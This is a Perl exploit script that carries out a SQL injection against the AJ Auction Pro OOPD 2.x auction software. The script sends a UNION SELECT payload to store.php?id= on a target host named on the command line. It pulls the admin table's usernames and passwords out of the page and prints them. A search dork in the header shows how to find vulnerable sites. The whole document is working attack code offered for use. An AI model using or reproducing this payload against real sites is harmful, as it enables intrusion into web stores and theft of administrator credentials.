AJ Auction Pro OOPD 2.x SQL Injection Exploit

#!/usr/bin/perl

#********************************************************#
#
# [o] AJ Auction Pro OOPD 2.x SQL Injection Exploit
#      Software : AJ Auction Pro OOPD 2.x
#      Vendor   : http://www.ajsquare.com/
#      Author   : NoGe
#      Contact  : noge[dot]code[at]gmail[dot]com
#      Blog     : http://evilc0de.blogspot.com
#
# [o] Usage
#      root@noge:~# perl ajpro.pl www.target.com
#
# [o] Dork
#      "Powered By AJ Auction Pro"
#
# [o] Greetz
#      MainHack BrotherHood [ http://mainhack.net ]
#      Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang aJe
#      H312Y yooogy mousekill }^-^{ loqsa zxvf martfella
#      skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
# 
#********************************************************#

use HTTP::Request;
use LWP::UserAgent;

my $target = $ARGV[0];
my $file_vuln = '/store.php?id=';
my $sql_query = '-null+union+select+1,2,3,4,5,group_concat(0x3a,user_name,0x3a,password,0x3a),7,8,9,10+from+admin--';
print "\n[x]===============================================[x]\n";
print "[x] AJ Auction Pro OOPD 2.x SQL Injection Exploit [x]\n";
print "[x]                [C]oded By NoGe                [x]\n";
print "[x]===============================================[x]\n\n";

my $exploit = "http://".$target.$file_vuln.$sql_query;

my $request   = HTTP::Request->new(GET=>$exploit);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response  = $useragent->request($request);
if ($response->is_success) {
my $res   = $response->content;
if ($res =~ m/:(.*):(.*):/g) {
my ($username,$password) = ($1,$2);
print "[+] $username:$password \n\n";
}
else { print "[-] Error, Fail to get admin login.\n\n"; }
}
else { print "[-] Error, ".$response->status_line."\n\n"; }